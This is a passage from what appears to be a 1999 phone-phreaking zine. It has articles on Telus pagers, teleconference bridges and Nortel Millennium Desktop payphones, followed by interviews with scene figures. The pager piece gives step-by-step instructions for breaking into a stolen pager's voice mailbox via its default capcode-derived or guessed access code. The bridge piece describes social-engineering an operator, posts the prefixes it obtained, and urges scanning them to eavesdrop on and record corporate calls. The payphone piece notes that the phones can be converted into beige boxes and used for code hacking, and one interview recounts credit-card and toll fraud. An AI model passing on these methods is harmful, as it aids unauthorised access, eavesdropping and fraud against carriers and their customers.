number?" + ------------------------------------------ +One easy way is to wait for someone to page you. + +Usually friends of the pager customer, don't know the pager is in the +wrong hands so they unknowingly send them a voice-message. Bad idea. +The minute they send that message, the data is sent to the Telus Mobility +switch, and straight to the pager itself. What is displayed? +The pager number, silly! + +(note: if a numeric page is sent, the numbers +displayed on the screen are whatever the person who sent it typed.) + +The next step is easy, you call the number. The next thing you'll hear +is one of two things; 1. the customers message, 2. Telus' default message. + +By simply pressing '0' on the keypad, you'll next be prompted by an +automated voice saying: "Please enter your access code". + + +"How do I acquire the access code?" +-------------------------------- + +If the customer was stupid enough to set the default access code, +all you do is look on the back of the EN-POWR numeric pager, +and search for the "capcode". + +The capcode is the series of numbers at the bottom of the label, +below the Model, Serial Number, Country Code, and ISC code. +It's easily distinguishable by the letter E and a 7 digit code +after it. An example of a capcode is 'E1230948'. + +The default access code is the last 4 digits of the capcode. +0948 would be the access code for this pager. Now enter 0948. +If you're lucky you'll get the main menu. My suggestion to you +is to change the access code as soon as possible. + +If you're not so lucky, try guessing defaults. 1234, 1111, 1999, 2000, etc. +Until you come across the correct access code. If you're still having +trouble, try selling the pager to some moronic 14 year old who just wants +to look cool in front of his sleezy 14 year old girlfriends'. + + +Final words +----------- +Now that I've given you step by step instructions on how to +exploit the EN-POWR pre-paid pager, I hope that you've +learned a little bit about how it works. + +In the next few months I can see the news talking about +hundreds/thousands of Telus pagers going missing and then used for +the thieves' evil purposes. I'll sleep well at night knowing I was +the one responsible. + + THE END + + +written by: The Clone +June 22, 1999 + + +`Contact inf0 +---- +E-mail: theclone@edmc.net +URL: Nettwerked - http://nettwerk.hypermart.net +Voice Mail: So-Soft Corporation - 1-800-494-9831; box 407 + + + -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + Corner Advantage Teleconferencing + / + Bridge Skanning + -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- + + + +Telus Advanced Communications (TACS) offers a service called +'Corner Advantage Teleconferencing'. + +A service which allows its customers to connect to a multiple-user-bridge +to: + * keep field offices informed about new policies and programs; + * announce new products to branch offices; + * hold regular status update meetings; + * resolve emergencies; + * review product development; + * reach several reporters simultaneously for a news announcement; + * brainstorm and plan marketing and sales strategies; + * resolve labour relations issues; and + * interview job applicants. + * etc. + +Some of the features with this service include: + + * highest quality sound with minimum background noise; + * security passwords; + * mute feature so specific lines can listen only; + * taping your conference onto cassettes; + * polling to record votes from opinion polls and focus groups; + +How to set up a bridge conf: + + * Dial 1-800-900-MEET (6338) + * Follow the voice prompts and select Teleconferencing + * Reserve the date, start time and duration of your meeting and the + number of ports required. + + +Now that I've outlined the basic features of +Corner Advantage Teleconferencing, I'd like to share with you an +idea that came into my mind; Bridge Skanning. + + +How do I find a bridge? +----------------------- + +Most phreakers who do find bridges do out of dumb luck. +They are usually skanning a prefix looking for VMB's, PBX's, ANI's, +and modem carriers and to their suprise they find a bridge. + +What I did was I called up 1-800-900-MEET, and said: + +"Hi there. I was wondering out of curiousity, what prefix or prefixes + do the Edmonton bridges use?" + +Being gullible and unware of my intentions, the perky Telus operator +gladly gave me the prefix. A few hour later I called back and asked if there +were any other cities that had CAT (Corner Advantage Teleconferencing). +Calgary apparently is the only other city that does. + +Using the same "social engineering" technique, I snagged the other prefix +and glady grinned because now I had completed the first step in finding +a bridge. + +Seeing on how I like to help out fellow local (780/403) phreaks, +I'm going to post the prefixes. + + +City NPA: Pfx +---- --- --- +Calgary 403 216 +Edmonton 780 460 + +!Yipee! ;) + +Now go ahead! Skan out these prefixes and you'll surely find yourself +on a bridge conf. + +From what I've heard, if you do happen to connect to a bridge you'll +obviously hear many parties talking. + +What my suggestions to you are: + +* Keep quiet +* Listen to what is being said and write down potentially "important" info. + Because remember, most bridges that are up are corporations. + And we know the conspiracies bureaucrats create. +* If possible, record the conversation using a ear piece-like device + you can pick up at your local Radio Shack for about $10.00/CDN each. + +-- + +I hope I've helped fellow telco enthusiasts, +pissed off some Telus employees, and made phun for all! +Happy CAT-skanning! + +Created by: The Clone +Date: June 13, 1999 + +Contact info +- +URL: Nettwerked - http://nettwerk.hypermart.net +E-mail: theclone@edmc.net +Voice Mail: So-Soft Corporation - 1-800-494-9831; BOX 407 + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + Nortel's Millennium Desktops + (helena3@antisocial.com) +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +If you live in Ontario or Quebec, Canada you've probably already seen the three +different versions of Nortel's Millennium payphones that Bell Canada has +installed everywhere. Maybe you've even made a few calls using them. I'll +give you a brief explanation for each model of Millennium just in case though. +The first type is the Universal Millennium (named due to its ability to accept +coins, credit cards, calling cards and Bell QuickChange pre-paid cards). In the +majority of large urban areas, they are the most common type of payphone that +can be found. The second type is the Millennium Card (otherwise known as a +card phone). The last type is named the Millennium Desktop and it is the focus +of this article. It's also the least common variety of Millenniums since they +aren't easily found. They aren't everywhere. They aren't installed in just +any location. In fact, I have only seen them in select places (usually they're +placed in public buildings) and they're always indoors. Their design isn't very +suitable for outdoor use. Even though I've read other text files written on the +other types of Millenniums, I have yet to see any that cover the Desktops. +That's why I decided to share my knowledge and experience with them. + + +Basic Common Features: + +Note that basically all of these Desktop Millennium features are the same as +the ones found on other Nortel Millennium payphone models. I'm just covering +them for people that know nothing about them or have never used a Millennium. + +- Like the other Millenniums, Desktop Millenniums don't accept incoming calls. +There's even a notification in small print stating that on the front panel. + +- LASS codes (*##) such as *67 don't work on Millenniums. + +- Desktops have ringers, but you might never hear the sound of them ringing. +To hear the bell chime, you have to convince an Operator to call the phone +for you. Otherwise, if you dial it directly yourself you'll hear the following +Bell message: "The line you are trying to reach is equipped for outgoing calls +only. It is impossible to receive calls at that number. This is a recording." +and then a Busy signal. + +- Programmable LCD display that supports English and French. Usually there's +a scrolling text message that's been entered by a Bell employee to advertise. +The LCD display is covered in plastic to prevent damage to the display. +However, it can be scratched and punctured if you're very determined. + +- Alarm. Each Desktop Millennium is equipped with an internal alarm that's +designed to protect it against theft. In this case, they want to prevent the +use of stolen or fraudulent credit/calling cards. Inside Millenniums there's +a small, powerful computer that logs every call that's made and the method of +payment that was used. In Universal Millenniums, the computer is responsible +for handling coin payed calls and can detect the use of slugs, etc. easily. +It also monitors the yellow card reader, LCD display and can activate the alarm. +If it detects anything suspicious or abnormal, an alarm is sent to a Bell Canada +Central Office and a linesman is dispatched to check it out. If you modify the +display, it might trip the alarm. If you steal the card reader or entire +Millennium, it might activate the alarm. It has even been rumoured that they +have a tracking device that calls Bell and relays its location everytime it's +connected to a line. Some people claim that it can give away the location by +means of an FM signal. I don't know if they have a transmitter that can emit +signals or not. Since I can't verify it, just be careful. + +- Recorded Dialtone. If you don't insert a calling card or press any buttons +to dial a number, after a few seconds it'll interrupt the so-called 'dialtone' +(which is totally fake) and instruct you to "Please insert your card..." The +real dialtone is muted. The Millennium payphone doesn't actually dial the +number you've entered from the keypad. It dials the number itself after the +Millennium has established that payment has been made. That's why you have +a couple of seconds to change the number you entered before it dials. The +computer does the actual dialing. Obviously that's ones of the things that +prevents any normal red boxing methods from working. + +- With all other Millenniums and other payphone in Canada, toll free calls +(1-800/877/888) are free. Dialing 0, 311, 411 (Information), 611 (Repair) and +911 are still toll free, as usual. + +- French/English button (toggles the language of choice) + +- Volume control (increase/decrease) + +- Next Call (diamond) button. + +- Yellow card reader. Although the other Millenniums are equipped with card +readers, the Desktop Millennium models aren't as sturdy. Instead of using a +more expensive yellow painted metal card reader casing, they're just plastic. + + +Features not included: + +- They don't accept coins, so they obviously don't have a coin slot, coin +return or a hopper (coin box) inside. At least you won't ever get screwed +by inserting a $1 coin to make a local 25 cent call and not get any change. + +- They don't have the special emergency buttons like the other Millenniums. + +- They might have a special Operator flag (showing that they're a Millennium +Desktop model). If that's the case, you can't even use them to red box by +dialing the Operator and fooling them with quarter tones, since they'll know +you can't insert coins into the payphone. All Millennium payphone numbers +have the payphone flag turned on. I'm just not sure if the Desktops have a +special flag or not. + + +Physical Description: + +Millennium Desktops are larger in size than a normal residential phone. They're +approximately one and a half times the width, which makes them about 10-12" or +so wide. The increased width is mainly due to the display and card reader +externally as well as some internal Millennium components that aren't inside of +the average person's home phone. + +When mounted on a desktop, they are slanted or sitting at an angle so that the +top or back of the phone is higher than the front. I'd estimate they're mounted +at an angle of at least 45 degrees, perhaps greater. If the Millennium is +wall-mounted, there isn't much of an angle at all. They're relatively flush +against the wall's surface. + +The outer casing, handset and receiver cord are all black in colour. The actual +buttons are grey coloured. There's a yellow coloured card reader attached to +the right hand side of the payphone. The handset and hook switch are positioned +on the left hand side. The handset's cord is of average length. The LCD +display is fairly large and is located at the top portion of the phone about the +keypad. It spans most of the width of the phone and the text it displays is +light blue coloured (similar to the LCD display on Kenwood stereo receivers). +Above the left hand corner of the display is a Bell Canada logo. To the right +of that it shows the credit/calling cards that are accepted. It also has a +'no coins accepted' logo. Underneath the display there's more information +about dialing, usage, etc. Surrounding the display where the logos are the +phone is dark Bell blue. There's also the same blue and yellow where the +additional information is shown on display. The volume control is directly +beneath the keypad. The next call button (with a diamond on it) is above +the dialing pad and the language button (which is a toggle for changing the +text shown on the LCD display from English to French) is above that. The +default is English in most areas. + +The port for connecting a laptop is located on the left hand side of the +payphone, near the location where the handset's cord is attached. The +connections running into the Millennium itself can vary slightly from the +wall-mounted and desktop mounted models. The wires are either concealed +in metal piping that runs down to the top portion of the payphone (in the +case of the wall-mounted Millennium Desktops), or the wires are more exposed +and run into the back right hand corner near the card reader. But that may +not be the case with all Millennium Desktops. I once saw one that was hooked +up extremely shoddily. The wires were all in a jumbled rat's nest, stuffed +behind the payphone and connected into a telephone jack. It wasn't just a +mess. They were fully exposed and anyone with malicious intent could have +easily snipped the wires, removed the Millennium and took off with the payphone +as a trophy. Needless to say, they're extremely vulnerable. + +I hope that my descriptions of the physical characteristics of Millennium +Desktops are clear enough that they've been helpful. If not, then I'll try to +get a few pictures of them and send them into Damage, INC. so they can be +displayed on their web site. I realize that not everyone has a payphone like +these in their area, so that's why I've tried my best to describe them fully. + + +Special Characteristics and Features: + +- Unlike the other Millenniums, Desktop Millenniums can be either wall mounted, +fastened to a desk or if you're industrious, removed and used as a beige box. +(Yes, they can easily be converted to a beige and are very portable!) + +- They don't accept coins. They only accept credit cards, calling cards, +QuickChange cards and other types of pre-paid phone cards. + +- They're equipped with a port that's located on the left side of the phone +near the handset/receiver cord connection. It's a standard telephone jack +connector that allows you to hook up a laptop. This feature is really handy +for h/p expeditions like scanning toll free numbers, hacking codes (VMBs, PBXs, +whatever) or hacking any systems (carriers) you find, etc. It's free and also +a relatively safe method to use. + +- In many cases seating is provided so that while using the Desktop Millennium +you don't have to stand for the duration of the call. + + +Additional Info: + +- Just as on Bell QuickChange cards, there's a notification on the actual +Desktop phone regarding the use of calling cards, instructing users to leave +the card inserted in the card reader for the duration of the call. However, it +isn't actually necessary. Upon picking up the reciever the Millennium plays +a message that instructs you to fully insert your card. + +- You can use a tone dialer to call out on Desktop Millenniums (ie, your hands +never touch the keypad). Obviously you can't do it while the recorded fake +dialtone is playing. But if you wait a few seconds for the Operator message +that asks you to insert your card to be played, stick in a QuickChange card +and then use your tone dialer, it should dial and work just fine. + + +Final Comments: + +Desktop Millenniums are Nortel and Bell Canada's idea of "the payphone for +the new Millennium". Some people think they're a phreak's worst nightmare. +Some phreaks are afraid of their security features, such as the alarm, etc. +Others don't like the fact they can't red box from them because of the fake +(recorded) dialtone. And a few of the older phreaks just miss the old +Centurions. Regardless of what you think of Millennium payphones, they're +everywhere and here to stay. Bell is replacing all of the Centurions with +Millenniums as fast as they can. One of the reasons is that they want to +encourage (ahem, force) people to pay for calls using their calling cards. +Bell is doing everything they can to discourage people from using coins to +make calls. They want payphone users to use cards for any calls they make, +including local calls. Yes, it's stupid. But like it or not, that's exactly +what they're trying to do. + +If you have any questions or comments about my article, please contact me +(Helena3) by sending Email to helena3@antisocial.com. I'm always happy to +meet new people, especially other phreaks. + +Note from Damage, INC. - If you want to learn more about Nortel's Millenniums, +you should read Aftermath's text file. It's available to download on Wraith +Tech Industries web site at http://www.internettrash.com/users/wraithtech + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} + +In this issue there are interviews with two people that are well known in +the h/p scene. The first interviewee is RedBoxChiliPepper (PLA). The second +is Logic Box (System Failure). Hopefully they give you some insight into +them and their respective groups. Enjoy. + +As always, = BLACKENED's questions. I'm sure you can figure out the rest. + + +Alias: Alex, RBCP, RedBoxChiliPepper, You Little Fucking Punk Motherfucker, +Group: Phone Losers of America +Age: 26 1/2 +Country: Phone Losers of AMERICA. +Description: A big tall dorky-looking semi-hacker, high school dropout and +all-around prankster. +Interests: No matter what I'm doing I prefer to do it while staring into a +computer monitor all day. I plan to be blind by the time I'm 30. Outside +of the house I like going to the movies, swimming, diving, biking and +playing really really stupid and meaningless pranks on innocent people. + +Email: rbcp@phonelosers.org +URL(s): http://www.phonelosers.org/rbcp/index.html + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + +I guess I've been into the whole h/p scene for only about 7 years or so +now. I discovered BBSing in 1989 and found all those old cheesy 80's +anarchy/hacking files in 1991. By then I was heavily into all of it and +after reading the famous Capt'n Crunch Esquire article I was completely +hooked forever. I'd always been into telephones and computers even though +nobody else in my family ever seemed to be interested in it and I could +never seem to find anyone in the local BBS scene into the whole h/p thing. + +I started writing my own text files in hopes of finding someone else to +share my interests with and started uploading them to all the local +BBSes. This more or less failed but I kept writing files just because I +enjoyed doing it. It wasn't until 1994 that me and el_jefe started the PLA. + + - How and when was the Phone Losers of America started? What are the goals +and purpose of PLA? + +I'd already been trying to think of a decent name for a text file group but +couldn't come up with anything. I had cleaned up the formats on a few of +my texts and named them RBCP0001.TXT, RBCP0002.TXT, etc and planned to +release them that way but then el_jefe was messing with some local lamers +on a BBS and told them he was going to start an elite hacking group called +the Phone Losers of America. The name fit perfectly so I immediately stole +it from him and created the PLA. + +The main reason I wanted to start a new text file series is because all of +the others took themselves way too seriously and tried to be elite as +possible to impress all their peers. There were a few exceptions but only +a few. The funniest thing I could find were the joke issues of Phrack and +a 'zine called Brotherhood of Warez which weren't even that funny. I +figured if I started something that was purely H/P/A humor, others would +follow and maybe people would just lighten up a little. + + + - How was the PLA Telephone Director0y started? + +Like everything else with the PLA, I stole the idea from somebody +else. (What? You expected me to be original??) In my extensive +collection of anarchy texts a few of them were nothing but lists of +interesting telephone numbers to call and almost all texts had a few BBSes +to call on the ends of them. The only problem was that these numbers were +almost always outdated so I decided to make a phone directory that would be +updated with every single issue of PLA. Before I got around to executing +that plan Colleen Card (then my girlfriend, now my wife) suggested that I +make it a quarterly phone directory. While I never was able to keep up +with the "quarterly" part of it, I managed to release 7 issues of it +before handing the project to the United Phone Losers. + +Believe it or not I started collecting pay phone numbers when I was about +10 years old. My best friend thought it would be hilarious to call +somebody at a pay phone and be really stupid at them. So I rode my bike to +the Wilshire donut shop in East Alton, IL (now a big tourist attraction +because it was the first pay phone ever collected by me) and wrote down the +number to their phone booth. We let it ring for about 45 minutes until +somebody answered it. By the end of the year me and him had put together a +list of about 90 pay phones all over the area. I never thought I would +still be doing it when I was 26. Geez, what a loser I am. + +The ANI section is obvious - people are always asking for ANI numbers so a +constantly updated list makes perfect sense. Telco test lines are just fun +to hear, TDD machines provide plenty of entertainment. Probably the +weirdest section would have to be the Roy section. I won't get into why we +were/are obsessed with the name Roy, but by the time I released the first +directory I thought it would be funny to dedicate a section to people and +businesses named Roy. I imagined a nation of Roy's being harassed just +because they were Roy although I'm sure this only confuses people and +nobody really thinks it's funny. + + + - How has PLA changed since the first text issues were released? + +The most noticeable change would be the fact that it went from a tiny text +file group into an electronic 'zine. As more and more people became +interested in the PLA I followed everyone's advice who emailed me and +created new sections and tried to write about what people were interested +in. By the time issue #46 (the last issue) came around we usually ended up +with a huge letters section, several articles, news and other random bits +of information and humor. + + + - What types of things can be found on www.phonelosers.org? + +Well, of course there's an archive of all the old PLA issues in both ascii +format and html. Some of our sound clips relate to a few of the old issues +such as the Dino Allsman series. Basically what you'll find on the main +page is a bunch of links to other H/P pages that are updated with more +current information than I'm able to provide. By the end of the summer +you'll start seeing a bunch of useless online videos called PLA TV which +I've been planning to do ever since I ditched the PLA 'Zine project but +have always been to lazy to get around to. + +In my opinion though the best part of my site has got to be the PLA State +Site Database. There are now over a hundred privately-run PLA sites on the +net, each serving up information about a specific home town or state or +area code. This started out as a plan to get people to find other phreaks +near them and has had some excellent results. I remember when I was first +getting into all of the H/P I never really had anyone to share my newfound +tricks with or anyone to help me brainstorm ideas. I'm hoping that by +using the state sites people can help overcome this problem for themselves. + + + - How do you think the Phone Losers of America are viewed by the majority +of visitors to phonelosers.org? + +Judging from the e-mail I receive I think most people more or less get a +kick out of the information they find on our site. Some people will tell +me that they stayed up until daybreak when they found my page because there +was so much to read. One guy told me he missed a day of work because he +found my page a few hours before he was supposed to go in and didn't want +to quit reading and laughing. + +As far as the actual hacking community goes, I hear most of them going on +and on about how lame the PLA is and how we don't know anything and +couldn't hack our ways out of a paper bag. But they just don't seem to get +the fact that they're supposed to come to our site to laugh, not to learn +the latest phone and hacking exploits. It's all nothing but a joke, +people! I should probably put a big disclaimer splash screen on my site +titled, "Prepare to Lower Your Expectations..." + + + - Are you still actively involved in phreaking? What do you think of the +current phreak scene and how has it changed since you began? + +I'm not into phreaking as much as I was 3 or 4 years ago but I still try to +keep up with everything and I'm constantly working on really weird and +pointless projects. Like right now I'm compiling a huge database of all +the area codes / prefixes within a one hour radius of my house and the +corresponding phone company wire center to each one. Once I'm done (I +almost am now) I'll have no use for the information and I'll probably just +post it up on a web page somewhere for other people to find and use. + +As far as the current phreak scene goes, I think it's better than it's ever +been thanks to the net bringing everyone together. People in +alt.2600.phreakz and alt.phreaking are always going on and on about how +phreaking is nearly dead and the scene is in danger and things are aren't +like they used to be but people in the scene have always seemed to have +this attitude while things are going on in the scene just like they always +have. + +The only things that have really changed is that all the information is so +much easier to find now and it's easier to find other people interested in +the same projects & exploits as you are. I think people pick on the +newbies too much but that's probably just because they're coming in floods +now since every kid in America now has computer access and they want to be +a hacker RIGHT NOW! I get a lot of e-mail from newbies and I usually just +try to answer their questions and point them in the right direction to read +more about it themselves. + + + - How's Jim Bayless these days? + +I actually still get a lot of e-mail about Jim from people trying to track +him down and talk to him about me. The only reason I used Jim Bayless's +name so often in the PLA issues was because I was excited that a phone +company security guy was actually interested in me. During the PLA Days I +used to occasionally call Jim every time I moved to a new part of the +country and he would always trace my call and would ask me, "So ALEX, how +was the whether in Washington last month??" like he was going to scare me +or something. + +A friend of mine in Oregon who goes by the nick kcochran actually called up +Jim very recently and told him he knew me and just wanted to know how come +he didn't like me. Jim talked with him for quite some time and told +kcochran that it was a personal issue because I once had his secretary +patch through a call to his home in the middle of the night. He also said +he had a copy of my W2 tax forms from Indianapolis and knew all of my real +info. Anyway, Jim is still alive and working in corporate security. I +probably haven't called him in about five years now but I'm sure he still +remembers me. + + + - What has been your experience with telco employees as a whole? + +All in all I think telco employees are cool people. Most of the employees +I deal with are over the telephone and it's a pretty rare experience for me +to actually talk to one in person. Once in Galveston, TX I saw an employee +finishing up some work and getting into his van so I held up my red box and +screamed out the window at him, "I just red boxed a call on that pay phone +over there!!" and he actually got in his truck and followed me around the +island for about 15 minutes. I don't know if he was trying to get my +license plate or what. + +I think my most frightening experience with an employee also happened in +Galveston while I was red boxing on a storefront pay phone with a bulky +(and loud!) tape recorder. I was talking to a friend and had just +deposited some money to continue my conversation and a minute later a guy +taps me on the shoulder. I turn around and it's a Southwestern Bell +employee. He says, "Could I get in here for just a minute?" and uses his +key to open the coin box, empty it and leave as he says, "Thank you." I +was in shock for a few hours after that. + + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + +Oh yeah, I can't get enough of H/P articles no matter what they're +about. Of course I read Phrack and 2600 but I also keep up with just about +all of the lesser-known groups because what they might lack in knowledge +they definitely make up with it in humor. A few of my favorites are System +Failure who recently released their very last issue (www.sysfail.org), +United Phone Losers come out with something every month or so, The Phone +Rangers don't have a 'zine but they have short stories on their web page +that are entertaining. I could go on and on, I read just about everything +I come across. If you visit the phonelosers.org web site you'll see links +to a few of my favorite sites along the top of the screen and even more in +the links section. + +The only other 'zine I've written for is System Failure which I think I did +a total of two or three articles for them. I also started an archive of +IRC logs after I quit writing PLA (www.phonelosers.org/peachey.html) which +started out detailing our harassment of some girl on IRC but is now updated +every few months with interesting e-mail I receive and interesting and +humorous things I find on the net. It used to be called Peachey +Incorporated but I recently changed the name to the more elite, hard-core +sounding Pink Fluffy Phreaking Bunnies. + + + - Which h/p groups, if any, do you respect? + +I think I named most of them in the previous question. I guess a few +others would be WraithTech, National Telco Opposition Party, Phone Punx +Network and United Phreaks Syndicate. It's not really a matter of +respecting them, it's just the sites I find the most useful and entertaining. + + + - Which web sites do you usually frequent? + +I spend a good 5 hours a day (while I'm working) browsing the net. I'm not +a regular visitor to many sites outside of all the H/P sites that I've +mentioned before, but I mostly spend time on the search engine pages +looking for anything interesting. + + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + +I've been busted many times but it was never really directly related to +H/P. The first time was in Albany, Oregon where they THOUGHT they were +busting a big-time computer hacker but I was just using extrapolated credit +card numbers to make free phone calls. They had been working on the case +for months and were completely stumped because I was operator diverting to +make it appear as if the calls were coming from another location. I +happened to use the same number every single time so apparently they were +really watching this one guy who worked for the company I was making my +calls come from. + +They finally figured out who I was because I had called an employee +complaint line for a business that I worked for at the time. They +ransacked my room, took everything that they didn't understand and hauled +me off to an interrogation room where I cooperated fully. They estimated +that I stole somewhere around $10,000 in phone calls so I was given a fine +of about $250 and told not to do it anymore. + +The second time I was busted was again for a credit card offense while +trying to fly Colleen Card home to Oregon from Texas. Even though they +knew I had flown her there on a stolen credit card number, the case was +completely dropped and my only punishment was that I ended up spending +about 36 hours in the jail's drunk tank. I was also busted in Ohio for +calling up a lady and talking her into giving me her credit card +number. So I guess if I wanted to give any advice to your readers it would +be to not mess with people's credit cards and you shouldn't have many problems! + + +One of the most recent events that's happened to me would be the police +showing up at my house to talk to me about Gwonk's case. I don't know many +of the details on the case, I just know that Gwonk didn't really do +anything major but he's been in jail now for some kind of computer hacking +charge but he's out now. Two police officers and a "computer expert" +drove nearly three hours to my house because they figured I must somehow +fit into the whole hacking scheme. + +I let the cops come in, took them to my computer room and told them exactly +how clueless I was. They asked if they could let their "computer expert" +come in and look at my hard drive. Since I didn't have anything +questionable on my drive I said sure and the "computer expert" came in and +did his thing. The thing was that this "computer expert" never broke out +of Windows 98, he just opened up Explorer and went to town surfing my hard +drive. He didn't use any special software and didn't play with any of my +settings so if I had any hidden directories with all my illegal hacking +stuff he sure wasn't going to find it. He also didn't bother looking at +our computer upstairs since he could view it on the network. He just +assumed that I had all of my hard drives upstairs set to share on the +network. I haven't heard anything back from them but I really wish Gwonk +the best of luck in this whole mess. + + + - Do you want to mention any boards that you call or people in the scene +that you know? + +I haven't really called any H/P boards in several years now and I don't +even know if any of them still exist. Since the net has become so popular +it almost seems pointless to bother calling up boards anymore. I should +really thank Logic Box for bring the scene such a cool 'zine like System +Failure even though he had to go and quit writing it like that. But since +I did the same thing to PLA I guess I can't say anything about that. Also +thanks to el_jefe who not only created the PLA name but put more content +into the issues than anybody seems to realize. And lastly to Linear of +United Phone Losers who was cool enough to accept my offer to take over +PLA's quarterly phone directory. (He just released a new one, by the +way!) I could give shout-outs and greetz to a ton of people but I won't +because I'm way too lazy for that. + + + - Thanks for agreeing to be interviewed RBCP. Thanks again for the PLA +Telephone Director0y editions that you released. They literally inspired us to +create the Phreaky Field Phreaking List, which otherwise might not even exist. +And thanks for allowing us to link to PLA releases, etc. We really appreciate +it man. I'm sure that our readers will enjoy reading this interview and gain +some insight about you and the Phone Losers of America. We respect what PLA +contributed to the scene over the years and recommend that our readers download +and read all of PLA's releases. + +Before I conclude this interview, I'd just like to let it be known that I had +wanted to interview RedBoxChiliPepper for a long time... since I respect him +and the Phone Losers of America. So, it's easy for me to say that this +particular interview had more personal meaning to me than many of the others +I've done. Yeah, that's right, it's special. ;) + +------------------------------------------------------------------------------- + +Alias: Logic Box +Group: System Failure +Age: 19 +Country: USA (Sunnyvale, CA) +Description: Linux enthusiast and former head of System Failure +Interests: Linux, computers in general, video games, certain types of RPGs +Email: logic@geekbox.net +IRC: logicbox (EFnet) +URL(s): http://www.geekbox.net (though it's in severe need of an update) + + + - Introduce yourself to the readers of the Damage, INC. Newsletter... + + I've been an avid computer user since I was 5 years old. I got my + first real PC (a Packard Bell 286) when I was 9, and grew up on + MS-DOS. I upgraded to a low-end 486 when I graduated from jr. high + (in 1994--I was 14 at the time); it came with a neat 2400 baud modem + and the wonderful Windows 3.1. I made various upgrades to my system + (both hardware-wise and OS-wise) over the next few years, found this + funny thing called the internet, and eventually got interested in + Linux (thanks to skullY) in early 1997. I've been into the scene + since I was about 16. That was about three and a half years ago + (1996), and was actually drawn into the H/P thing after extensive + perusal of the PLA website (http://www.phonelosers.org). Fortunately + I didn't end up as destructive and brain-dead as the majority of the + PLA fans out there, and I eventually got involved with System + Failure during its infancy in 1997, at the request of Pinguino. + + + - How and when was System Failure started? What were the original goals and +purpose of the group and the zine? + + System Failure was born at Gumba's Italian restaurant on May 3, + 1997. Bluedot (formerly known as Darkcactus) and I were having lunch + with Pinguino, who was in town for the weekend to help her friend + Eddie man an anti-gun booth at a local swap meet. I'd known her on + IRC for a couple of months, and she asked us if we'd be interested + in helping her with a new project she was working on--an H/P-related + zine called System Failure. Ever since the retirement of PLA, + Kenshiro Cochrane and I had been kicking around the idea of starting + our own zine, so I figured this was the perfect opportunity to do + that, with the backing of Pinguino and Penguin Palace. Pinguino was + happy to allow KC into the group with us, and that was that. We had + the usual hopes for our zine--fun, informative, and hopefully + something that didn't suck. + + + - How did System Failure change as a zine since the first issue was released +in 1997? How did members of the group change? + + I know several of the other former group members will agree with me + on this, so I don't mind saying it. The first seven or so issues + sucked. We eventually evolved from a ragtag band of typical former + PLA fans to a group of individuals working together to formulate an + intelligent, informative publication. A few of the original group + members didn't share this view (particularly Bluedot and KC), and + were eventually replaced by people who did. Mr. Sonik and skullY + were both invited into the group before the end of our first year; + I'd hoped that they would eventually become members from the start. + Spee became a member early into our second year, and Barkode was + invited into the group during Defcon 6. More than anything else, I + always tried to make people understand that System Failure was first + and foremost a group of friends. We all knew each other very well, + we were all working together for a common cause, and we evolved into + something a lot of people really liked. + + + - What types of things can be found on www.sysfail.org? + + Nothing these days. Just our old issue archives and a few + photographs. + + + - How do you think System Failure is viewed by the majority of visitors to +sysfail.org and readers of the zine? + + Well, as far as popularity goes, our webpage (just the index.html + page, mind you) had over 7000 hits in the six days it was hosted on + geekbox.net during one of our relocation frenzies. Most of the + feedback I've gotten from people has been positive, especially + during the last few months of the group. Then again, I happen to + know of a few elitist organizations who apparently don't like us too + much. :) + + + - Are you still actively involved in h/p? What do you think of the current +h/p scene, the people (groups, zines) involved and how has it changed since you +began? + + I'm still actively involved in what I do, and I still keep close + contact with the other former System Failure members (primarily + skullY and Barkode). As far as other groups, I have plenty of + respect for all the big guns--L0pht, cDc, the New Hack City folks, + etc. Phrack's always done a good job as a zine; I've found 2600 to + be sorely lacking in intelligent material the last few issues. A lot + of the smaller groups and zines don't survive for very long (perhaps + because they don't try very hard), and that sort of lenda a feeling + of laziness to the scene, and its recent members throughout the last + few years. I'd certainly hate to see the scene eventually be + dominated by folks who don't really care much about it. + + + - Was it difficult at times to motivate people to write articles? What were +the main reasons for the decision to cease the publication of System Failure? + + Oh yes. QUITE difficult. There are certain people I won't name (they + know who they are) who I've very nearly had to threaten to get + something out of them, after months of promises that "yeah, I'll + have something for the next issue." Our reasons for retiring System + Failure were mostly personal. I won't go into details, but I will + say that a fair amount of trust was lost between certain key group + members. A lot of it also had to do with a good deal of lack of + interest on the parts of certain members. + + + - Which articles that were published in System Failure stand out in your +mind, and why? + + My Linux security article! :) Well, seriously, I was pretty proud + of that when I finished it. Barkode also did a very informative + series of articles on protocols (his ARP and ICMP articles in + particular come to mind), and Pennywise's electricity primer was + very thorough and well-written. I was also very impressed with the + PC security systems article from our final issue, written by Syphon + Siege and Phett. + + + - Do you think the group or name System Failure will ever be restored +or resurrected sometime in the future? If so, would you want to be involved +with it again? + + No. I think I can safely say that System Failure will not be back, + although we may start up another organization sometime in the near + future. Who knows? :) + + + - What has been your overall experience with telco employees as a whole? + + I've never really ran across any telco employees that stand out in + my mind, neither good or bad. + + + - How was DefCon this year? + + It was okay. It seemed a lot more laid back than previous Defcons, + which is probably why the hotel invited us back for next year. All + in all, I think I enjoyed Defcon 6 (1998) more. + + + - Do you read any h/p related zines? If so, please list a few of the +ones that you read and respect. + + Phrack! I'll always support the long-retired PLA too. + + + - Which h/p groups, if any, do you respect? + + cDc, L0pht, the New Hack City folks, r00t, PLA (read: RBCP and + Colleen Card), and of course, all my fellow ex-group members. + + + - Which IRC channels can you be found in? + + EFnet #408, #916, #sunnyvale + + + - Do you want to share any memorable hacking/phreaking related experiences? + + Well, Defcon always rocks. It's always neat to meet people and + finally attach faces to the names you've known on IRC and through + e-mail for so long. + + + - Have you ever been busted? Or, do you know anyone that's been busted? +If so, would you like to describe the event, the circumstances of the bust +and the conclusion? + + Nope. I'm careful about what I do, and I generally try to stay on + the good side of the scene. I do know a couple of people who have + been busted, but I'm not really allowed to say anything about that. + :) + + + - Do you want to mention any boards that you call or people in the scene +that you know? + + Well, hrm. Thanks go 